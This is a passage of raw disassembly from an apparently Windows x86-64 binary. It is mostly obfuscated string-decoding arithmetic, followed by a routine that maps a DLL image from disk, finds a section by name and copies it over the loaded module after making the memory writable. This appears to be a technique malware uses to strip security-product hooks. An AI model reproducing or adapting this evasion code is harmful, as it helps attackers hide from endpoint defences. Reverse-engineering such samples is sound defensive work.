and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x2b
inc r10
jmp 0x14011d933
movzx edx, r10b
lea ecx, [rdx - 0x5f]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x67
sub dl, 0x2f
movzx eax, dl
and al, r9b
add al, al
sub dl, al
add dl, 0x49
add dl, r9b
mov byte [rbp + r10 - 0x69], dl
inc r8
dec r10
inc r10
jmp 0x14011d933
lea ecx, [r10 + 0x69]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
add dil, 0x21
dec r10
inc r10
jmp 0x14011d933
movzx r11d, r10b
lea ecx, [r11 + 0x5b]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x7d
sub r11b, 0x21
movzx eax, r11b
and al, r9b
add al, al
sub r11b, al
sub r11b, 0x19
add r11b, dil
add r11b, r9b
mov byte [rbp + r10 - 0x69], r11b
jmp 0x14011e324
lea ecx, [r10 + 0x4d]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x1b
add rbx, r8
movzx eax, dil
mov rcx, 0xffffffffffffffff
sub rcx, rax
add r10, rcx
inc r10
jmp 0x14011d933
lea rdx, [r10 + r12]
movzx edi, r11b
movzx eax, dl
movzx r9d, r11b
and al, r11b
add al, al
sub dil, al
sub dil, 0x57
add dil, dl
lea ecx, [r10 - 0x13]
inc r8
movzx eax, cl
and al, r9b
add al, al
sub cl, al
sub cl, 0x7b
add cl, r9b
movzx eax, cl
mov byte [rbp + r10 - 0x69], al
add rax, r8
sub r10, rax
lea edx, [r10 - 0xc]
inc rbx
movzx eax, dl
mov ecx, Ordinal_46
and al, r9b
sub cl, al
mov rax, 0xffffffffffffffff
sub rax, rbx
add cl, cl
add cl, dl
add cl, r9b
mov byte [rbp + r10 - 0x69], cl
add r10, rax
movzx eax, byte [rbp + r10 - 0x69]
add rax, r8
add r10, rax
inc r10
jmp 0x14011d933
lea rcx, [r10 + r15]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edi, [r11 + rcx]
add dil, 0x6d
movzx eax, byte [rbp + r10 - 0x69]
add rax, r8
add r10, rax
inc r10
jmp 0x14011d933
sub r10b, 0x5d
movzx eax, r10b
and al, r9b
add al, al
sub r10b, al
lea edi, [r9 + r10]
sub dil, 0x75
jmp 0x14011d930
sub r10b, 0x6b
movzx eax, r10b
and al, r9b
add al, al
sub r10b, al
lea edi, [r9 + r10]
sub dil, 0x13
jmp 0x14011d915
lea rcx, [rbp + 0x140dc4b]
jmp 0x14011e43e
lea rcx, [rbp + 0x807e52]
jmp 0x14011e43e
lea rcx, [rbp - 0x69]
xor ebx, ebx
xor r9d, r9d
mov qword [rsp + 0x30], rbx
mov edx, 0x80000000
mov dword [rsp + 0x28], ebx
mov dword [rsp + 0x20], 3
lea r8d, [rbx + 1]
call qword [sym.imp.KERNEL32.dll_CreateFileA]
mov qword [rsp + 0x28], rbx
xor r9d, r9d
mov rcx, rax
mov qword [rbp + 0x77], rax
xor edx, edx
mov dword [rsp + 0x20], ebx
mov r8d, 0x1000002
mov r13, rax
call qword [sym.imp.KERNEL32.dll_CreateFileMappingA]
xor r9d, r9d
mov qword [rsp + 0x20], rbx
mov rcx, rax
mov qword [rbp - 0x19], rax
xor r8d, r8d
lea edx, [rbx + 4]
call qword [sym.imp.KERNEL32.dll_MapViewOfFile]
movsxd r15, dword [rsi + 0x3c]
add r15, rsi
mov qword [rbp + 0x6f], rax
xor esi, esi
movzx r14d, si
cmp si, word [r15 + 6]
jae 0x14011f104
movzx edi, byte [rbp + 0x67]
mov r13, qword [rbp + 0x67]
nop word [rax + rax]
movzx ecx, word [r15 + 0x14]
movzx eax, r14w
add rcx, r15
vpxor xmm0, xmm0, xmm0
mov dword [rbp - 0x39], 0x13e715ae
mov word [rbp - 0x35], 0x9518
lea r12, [rax*4 + 3]
add r12, rax
xor eax, eax
vmovups xmmword [rbp - 0x33], xmm0
mov dword [rbp - 0x23], eax
lea r12, [rcx + r12*8]
mov word [rbp - 0x1f], ax
nop word [rax + rax]
call fcn.140075de0
mov rbx, qword [rax]
call fcn.140075df0
mov r8, qword [rax]
mov r11, rsi
cmp r11, 0x1c
jae 0x14011f06c
movzx r9d, byte [rbp + r11 - 0x39]
mov esi, r9d
mov r10d, r9d
nop dword [rax]
cmp rbx, r11
ja 0x14011f063
lea rax, [r8 + 1]
cmp rbx, rax
jae 0x14011e574
movabs rdi, 0x18a84f117dcf0194
movzx eax, sil
add rdi, r11
and al, dil
add al, al
sub dil, al
sub dil, 0xc
add dil, r9b
jmp 0x14011e5c0
je 0x14011efe9
lea rax, [r8 + 2]
cmp rbx, rax
je 0x14011ef60
lea rax, [r8 + 4]
cmp rbx, rax
je 0x14011ef2a
lea rax, [r8 + 7]
cmp rbx, rax
je 0x14011ef05
lea rax, [r8 + 3]
cmp rbx, rax
je 0x14011eedd
lea rax, [r8 + 5]
cmp rbx, rax
je 0x14011ee92
nop dword [rax + rax]
cmp r8, r11
ja 0x14011f05a
lea rax, [r8 + 0x64]
cmp rbx, rax
jae 0x14011e5ee
lea edx, [r11 + 0x24]
mov ecx, 2
movzx eax, dl
and al, r9b
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
jmp 0x14011e622
lea rax, [r8 + 1]
cmp rbx, rax
je 0x14011ee75
lea rax, [r8 + 2]
cmp rbx, rax
je 0x14011ee50
lea rax, [r8 + 5]
cmp rbx, rax
je 0x14011ee34
lea rax, [r8 + 8]
cmp rbx, rax
je 0x14011ee06
lea rax, [r8 + rbx]
cmp rax, r11
jbe 0x14011eb4e
nop
lea rax, [r8 + 0x200]
cmp rbx, rax
je 0x14011eb2e
lea rax, [r8 + 0x1000]
cmp rbx, rax
je 0x14011eb09
lea rax, [r8 + 0x41]
cmp rbx, rax
je 0x14011eae7
lea rax, [r8 + 0x10]
cmp rbx, rax
je 0x14011ebd8
lea rax, [r8 + 0x40]
cmp rbx, rax
je 0x14011eac8
lea rax, [r8 + 0x80]
cmp rbx, rax
je 0x14011eaa9
lea rax, [r8 + 0x400]
cmp rbx, rax
je 0x14011ea8d
lea rax, [r8 + 0x7a]
cmp rbx, rax
je 0x14011ea6e
lea rax, [r8 + 0xa]
cmp rbx, rax
je 0x14011ea40
lea rax, [r8 + 0x28]
cmp rbx, rax
je 0x14011e630
lea rbx, [r8 + 1]
lea r8, [rbx + 0x64]
lea rax, [r8 + 4]
cmp rbx, rax
jb 0x14011f03b
lea rax, [r8 + 8]
cmp rbx, rax
jb 0x14011f01c
lea rax, [r8 + 0x10]
cmp rbx, rax
jb 0x14011e81e
lea rax, [r8 + 0x7a]
cmp rbx, rax
jb 0x14011e803
lea rax, [r8 + 0x2a]
cmp rbx, rax
jb 0x14011e7e4
lea rax, [r8 + 3]
cmp rbx, rax
jb 0x14011e9ef
lea rax, [r8 + 6]
cmp rbx, rax
jb 0x14011e9ad
lea rax, [r8 + 0xa]
cmp rbx, rax
jb 0x14011e969
lea rax, [r8 + 0x61]
cmp rbx, rax
jb 0x14011e942
lea rax, [r8 + 0x5a]
cmp rbx, rax
jb 0x14011e630
lea rbx, [r8 + 0x40]
lea r8, [rbx + 2]
lea rax, [r8 + 0x80]
cmp rbx, rax
ja 0x14011e917
lea rax, [r8 + 0x400]
cmp rbx, rax
ja 0x14011e8f8
lea rax, [r8 + 0x7a]
cmp rbx, rax
ja 0x14011e8dc
lea rax, [r8 + 0xa]
cmp rbx, rax
ja 0x14011e8c0
lea rax, [r8 + 0x28]
cmp rbx, rax
ja 0x14011e8a1
lea rax, [r8 + 0x64]
cmp rbx, rax
ja 0x14011e881
lea rax, [r8 + 0x3e8]
cmp rbx, rax
ja 0x14011e85c
lea rax, [r8 + 0x61]
cmp rbx, rax
ja 0x14011e84e
lea rax, [r8 + 9]
cmp rbx, rax
ja 0x14011e83c
lea rax, [r8 + 0x20]
cmp rbx, rax
ja 0x14011e630
lea rbx, [r8 + 0x2a]
lea r8, [rbx + 0x42]
jmp 0x14011e630
lea edx, [r11 + 0x5c]
mov ecx, 0x3e
movzx eax, dl
and al, r9b
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
jmp 0x14011e622
lea ecx, [r11 + 0x34]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x6c
jmp 0x14011e5c0
lea ecx, [r11 + 0xc]
mov r10, rsi
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x54
jmp 0x14011e540
lea edx, [r11 + 0x20]
mov ecx, reloc.WS2_32.dll_recv
movzx r10d, r11b
jmp 0x14011ee9f
lea edx, [r11 - 8]
mov ecx, Ordinal_30
jmp 0x14011eee6
lea edx, [r11 - 0x30]
mov ecx, Ordinal_41
movzx eax, r9b
dec r11
and al, dl
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, dl
inc r11
jmp 0x14011e523
mov ecx, 0x34
lea edx, [r11 - 0x58]
movzx eax, r9b
movzx r10d, r11b
and al, dl
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
jmp 0x14011edc3
lea ecx, [r11 + 0x80]
movzx eax, r9b
and al, cl
add al, al
sub r9b, al
lea edi, [rcx + r9]
add dil, 0x80
jmp 0x14011ef44
lea ecx, [r11 + 0x58]
movzx eax, r9b
and al, cl
add al, al
sub r9b, al
lea edi, [rcx + r9]
sub dil, 0x68
jmp 0x14011ef47
lea edx, [r11 + 0x30]
movzx eax, r9b
and al, dl
movzx edi, r9b
add al, al
sub dil, al
sub dil, 0x50
jmp 0x14011ef84
lea edx, [r11 + 8]
movzx eax, r9b
and al, dl
movzx edi, r9b
add al, al
sub dil, al
sub dil, 0x38
add dil, dl
jmp 0x14011efac
lea ecx, [r11 - 0x20]
movzx eax, r9b
and al, cl
add al, al
sub r9b, al
movzx eax, byte [rbp + r11 - 0x39]
add rax, r8
add r11, rax
lea edi, [rcx + r9]
sub dil, 0x20
inc r11
jmp 0x14011e523
lea edx, [r11 - 4]
mov ecx, reloc.WS2_32.dll_ntohl
movzx eax, r9b
and al, dl
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, dl
mov byte [rbp + r11 - 0x39], dil
inc r11
jmp 0x14011e523
lea edx, [r11 - 0x2c]
movzx eax, r9b
and al, dl
mov ecx, reloc.WLDAP32.dll_Ordinal_26
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, dl
cmp r8, 0x61
jb 0x14011e95c
mov ecx, Ordinal_30
movzx r10d, r11b
movzx eax, r9b
lea edx, [r10 - 8]
and al, dl
sub cl, al
add cl, cl
add cl, r9b
add cl, dl
lea edi, [rcx + rcx]
jmp 0x14011eeb0
lea edx, [r11 - 0x54]
mov ecx, Ordinal_41
movzx eax, dl
and al, r9b
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
cmp rbx, 0xa
jae 0x14011eda7
lea rax, [r8 + 0x41]
cmp rbx, rax
jbe 0x14011ece7
lea edx, [r11 + 0x68]
movzx eax, r9b
and al, dl
mov ecx, reloc.WS2_32.dll_sendto
jmp 0x14011e978
mov ecx, reloc.WLDAP32.dll_Ordinal_50
lea edx, [r11 - 0x7c]
movzx eax, r9b
and al, dl
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, dl
lea rax, [r8 + rbx]
cmp rax, 0x7a
je 0x14011eded
lea rax, [r8 + 0x20]
cmp rbx, rax
jbe 0x14011ec17
lea edx, [r11 + 0x44]
mov ecx, reloc.WS2_32.dll_select
movzx eax, r9b
and al, dl
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, dl
jmp 0x14011e9c7
lea edx, [r11 - 0x28]
movzx eax, r9b
and al, dl
mov ecx, ntohl
sub cl, al
movzx eax, byte [rbp + r11 - 0x39]
add rax, r8
add r11, rax
lea edi, [rcx + rcx]
add dil, r9b
add dil, dl
inc r11
jmp 0x14011e523
lea edx, [r11 - 0x50]
mov ecx, Ordinal_27
movzx eax, r9b
and al, dl
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, dl
jmp 0x14011efac
mov ecx, 0x24
lea edx, [r11 - 0x78]
movzx eax, r9b
and al, dl
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
jmp 0x14011ef84
lea edx, [r11 + 0x60]
mov ecx, Ordinal_50
movzx eax, r9b
and al, dl
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, dl
jmp 0x14011ef47
lea edx, [r11 + 0x38]
mov ecx, reloc.WLDAP32.dll_Ordinal_60
movzx eax, r9b
and al, dl
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, dl
jmp 0x14011ef44
lea ecx, [r11 - 0x18]
movzx eax, r9b
and al, cl
dec r11
add al, al
sub r9b, al
lea edi, [rcx + r9]
sub dil, 0x58
inc r11
jmp 0x14011e523
lea ecx, [r11 - 0x40]
movzx eax, r9b
and al, cl
inc r8
add al, al
dec r11
sub r9b, al
lea edi, [rcx + r9]
sub dil, 0x40
inc r11
jmp 0x14011e523
movzx r10d, r11b
movzx eax, r9b
movzx edi, r9b
lea edx, [r10 - 0x68]
and al, dl
add al, al
sub dil, al
sub dil, 0x28
jmp 0x14011eead
lea rax, [r8 + 0x40]
cmp rbx, rax
jae 0x14011eb73
lea edx, [r11 - 0x6c]
movzx eax, r9b
and al, dl
movzx edi, r9b
add al, al
sub dil, al
sub dil, 0xc
jmp 0x14011ea06
lea rax, [r8 + 1]
cmp rbx, rax
jne 0x14011ebaa
lea edx, [r11 + 0x48]
movzx eax, r9b
and al, dl
mov ecx, 4
sub cl, al
movzx eax, byte [rbp + r11 - 0x39]
add rax, r8
add r11, rax
lea edi, [rcx + rcx]
add dil, r9b
add dil, dl
inc r11
jmp 0x14011e523
lea rax, [r8 + 3]
cmp rbx, rax
jne 0x14011ebcf
lea edx, [r11 - 0x68]
movzx eax, r9b
and al, dl
movzx edi, r9b
add al, al
sub dil, al
sub dil, 0x28
jmp 0x14011ef84
lea rax, [r8 + 2]
cmp rbx, rax
jne 0x14011ebf8
movzx r10d, r11b
movzx eax, r9b
movzx edi, r9b
lea edx, [r10 + 0x10]
and al, dl
add al, al
sub dil, al
sub dil, 0x70
jmp 0x14011edc3
lea rax, [r8 + 8]
cmp rbx, rax
jne 0x14011ea09
movzx r10d, r11b
mov ecx, 0x24
lea edx, [r10 - 0x78]
jmp 0x14011ee9f
lea rax, [r8 + 1]
cmp rbx, rax
jne 0x14011ec32
movzx r10d, r11b
mov ecx, 6
lea edx, [r10 + 0x6c]
jmp 0x14011ee9f
lea rax, [r8 + 2]
cmp rbx, rax
jne 0x14011ec60
lea ecx, [r11 - 0x6c]
movzx eax, r9b
and al, cl
inc r8
add al, al
dec r11
sub r9b, al
lea edi, [rcx + r9]
sub dil, 0xc
inc r11
jmp 0x14011e523
lea rax, [r8 + 5]
cmp rbx, rax
jne 0x14011ec84
lea ecx, [r11 + 0x34]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x6c
jmp 0x14011ef47
lea rax, [r8 + 4]
cmp rbx, rax
jne 0x14011ecac
lea edx, [r11 - 0x7c]
mov ecx, reloc.WLDAP32.dll_Ordinal_50
movzx eax, r9b
and al, dl
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, dl
jmp 0x14011efac
lea rax, [r8 + 7]
cmp rbx, rax
jne 0x14011e9c7
lea edx, [r11 - 0x54]
mov ecx, Ordinal_41
movzx eax, dl
and al, r9b
sub cl, al
movzx eax, byte [rbp + r11 - 0x39]
add rax, r8
add r11, rax
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
inc r11
jmp 0x14011e523
lea rax, [r8 + 1]
cmp rbx, rax
jne 0x14011ed1e
lea edx, [r11 - 0x70]
movzx eax, r9b
and al, dl
mov ecx, 8
sub cl, al
movzx eax, byte [rbp + r11 - 0x39]
add rax, r8
add r11, rax
lea edi, [rcx + rcx]
add dil, r9b
add dil, dl
inc r11
jmp 0x14011e523
lea rax, [r8 + 3]
cmp rbx, rax
jne 0x14011ed43
lea edx, [r11 - 0x20]
movzx eax, r9b
and al, dl
movzx edi, r9b
add al, al
sub dil, al
sub dil, 0x20
jmp 0x14011ef84
lea rax, [r8 + 6]
cmp rbx, rax
jne 0x14011ed71
lea ecx, [r11 + 0x80]
movzx eax, r9b
and al, cl
dec r11
add al, al
sub r9b, al
lea edi, [rcx + r9]
add dil, 0x80
inc r11
jmp 0x14011e523
lea rax, [r8 + 5]
cmp rbx, rax
jne 0x14011ed88
lea edx, [r11 - 0x58]
mov ecx, 0x34
jmp 0x14011eee6
lea rax, [r8 + 2]
cmp rbx, rax
jne 0x14011e983
movzx r10d, r11b
mov ecx, Ordinal_41
lea edx, [r10 - 0x30]
jmp 0x14011ee9f
movzx ecx, byte [rbp + r11 - 0x39]
movzx r10d, r11b
movzx eax, r9b
lea edx, [r10 + 0x20]
and al, dl
sub cl, al
add cl, 0x10
lea edi, [rcx + rcx]
add dil, dl
sub r10b, 0x4c
mov ecx, 0xa
movzx eax, r10b
and al, r9b
sub cl, al
add cl, cl
add cl, r10b
add cl, r9b
add cl, dil
mov byte [rbp + r11 - 0x39], cl
jmp 0x14011ef44
mov ecx, 4
lea edx, [r11 + 0x48]
movzx eax, r9b
and al, dl
sub cl, al
lea edi, [rcx + rcx]
jmp 0x14011ef84
lea edx, [r11 - 0x74]
movzx eax, r9b
and al, dl
mov ecx, reloc.WLDAP32.dll_Ordinal_22
sub cl, al
movzx eax, byte [rbp + r11 - 0x39]
add rax, r8
add r11, rax
lea edi, [rcx + rcx]
add dil, r9b
add dil, dl
inc r11
jmp 0x14011e523
mov ecx, reloc.WLDAP32.dll_Ordinal_46
lea edx, [r11 + 0x3c]
movzx eax, r9b
and al, dl
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
jmp 0x14011ef84
lea ecx, [r11 + 0x74]
movzx eax, r9b
and al, cl
inc r8
add al, al
dec r11
sub r9b, al
lea edi, [rcx + r9]
sub dil, 0x2c
inc r11
jmp 0x14011e523
movzx r10d, r11b
movzx eax, r9b
movzx edi, r9b
lea edx, [r10 + 0x4c]
and al, dl
add al, al
sub dil, al
sub dil, 0x14
jmp 0x14011eead
movzx r10d, r11b
mov ecx, reloc.WS2_32.dll_ntohl
lea edx, [r10 - 4]
movzx eax, r9b
and al, dl
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, dl
sub r10b, 0x74
movzx eax, r9b
and al, r10b
mov ecx, reloc.WLDAP32.dll_Ordinal_22
sub cl, al
inc r8
add cl, cl
add cl, r9b
add cl, r10b
mov byte [rbp + r11 - 0x39], cl
dec r11
inc r11
jmp 0x14011e523
lea edx, [r11 - 0x2c]
mov ecx, reloc.WLDAP32.dll_Ordinal_26
movzx eax, r9b
and al, dl
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, dl
inc r8
dec r11
inc r11
jmp 0x14011e523
lea edx, [r11 - 0x54]
mov ecx, Ordinal_41
movzx eax, dl
and al, r9b
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
dec r11
inc r11
jmp 0x14011e523
lea edx, [r11 + 0x5c]
mov ecx, 0x3e
movzx eax, dl
and al, r9b
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
add rbx, r8
movzx eax, dil
mov rcx, 0xffffffffffffffff
sub rcx, rax
add r11, rcx
inc r11
jmp 0x14011e523
movabs rdx, 0xac9a297a70a90b0c
movzx edi, r10b
add rdx, r11
movzx r9d, r10b
movzx eax, dl
and al, r10b
add al, al
sub dil, al
sub dil, 0x54
add dil, dl
lea ecx, [r11 - 0x24]
inc r8
movzx eax, cl
and al, r9b
add al, al
sub cl, al
sub cl, 4
add cl, r9b
movzx eax, cl
mov byte [rbp + r11 - 0x39], al
add rax, r8
sub r11, rax
lea ecx, [r11 + 0x70]
inc rbx
movzx eax, cl
and al, r9b
add al, al
sub cl, al
mov rax, 0xffffffffffffffff
sub rax, rbx
sub cl, 0x10
add cl, r9b
mov byte [rbp + r11 - 0x39], cl
add r11, rax
movzx eax, byte [rbp + r11 - 0x39]
add rax, r8
add r11, rax
inc r11
jmp 0x14011e523
movabs rcx, 0x49f8ed34796d04bc
add rcx, r11
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x24
movzx eax, byte [rbp + r11 - 0x39]
add rax, r8
add r11, rax
inc r11
jmp 0x14011e523
sub r11b, 0x1c
movzx eax, r9b
and al, r11b
add al, al
sub r9b, al
lea edi, [r11 + r9]
sub dil, 0x3c
xor esi, esi
jmp 0x14011e520
sub r11b, 0x44
movzx eax, r9b
and al, r11b
add al, al
sub r9b, al
lea edi, [r11 + r9]
sub dil, 0x24
xor esi, esi
jmp 0x14011e510
lea r8, [rbp + 0x1550f37]
jmp 0x14011f070
lea r8, [rbp + 0xa410cb]
jmp 0x14011f070
lea r8, [rbp - 0x39]
mov rax, r12
sub r8, r12
nop word [rax + rax]
movzx edx, byte [rax]
movzx ecx, byte [rax + r8]
sub edx, ecx
jne 0x14011f093
inc rax
test ecx, ecx
jne 0x14011f080
test edx, edx
jne 0x14011f0ec
mov ecx, dword [r12 + 0xc]
lea r9, [rbp + 0x67]
mov edx, dword [r12 + 8]
xor eax, eax
add rcx, r13
mov dword [rbp + 0x67], eax
lea r8d, [rax + 0x40]
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
mov eax, dword [r12 + 0xc]
mov rdx, qword [rbp + 0x6f]
mov r8d, dword [r12 + 8]
add rdx, rax
lea rcx, [rax + r13]
call sub.VCRUNTIME140.dll_memcpy
mov ecx, dword [r12 + 0xc]
lea r9, [rbp + 0x67]
mov edx, dword [r12 + 8]
add rcx, r13
mov r8d, dword [rbp + 0x67]
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
inc r14w
mov esi, 0
cmp r14w, word [r15 + 6]
jb 0x14011e4d0
mov r13, qword [rbp + 0x77]
mov rcx, qword [rbp + 0x7f]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, r13
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rbp - 0x19]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rbp - 0x11]
call qword [sym.imp.KERNEL32.dll_FreeLibrary]
add rsp, 0xd8
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbx
pop rbp
ret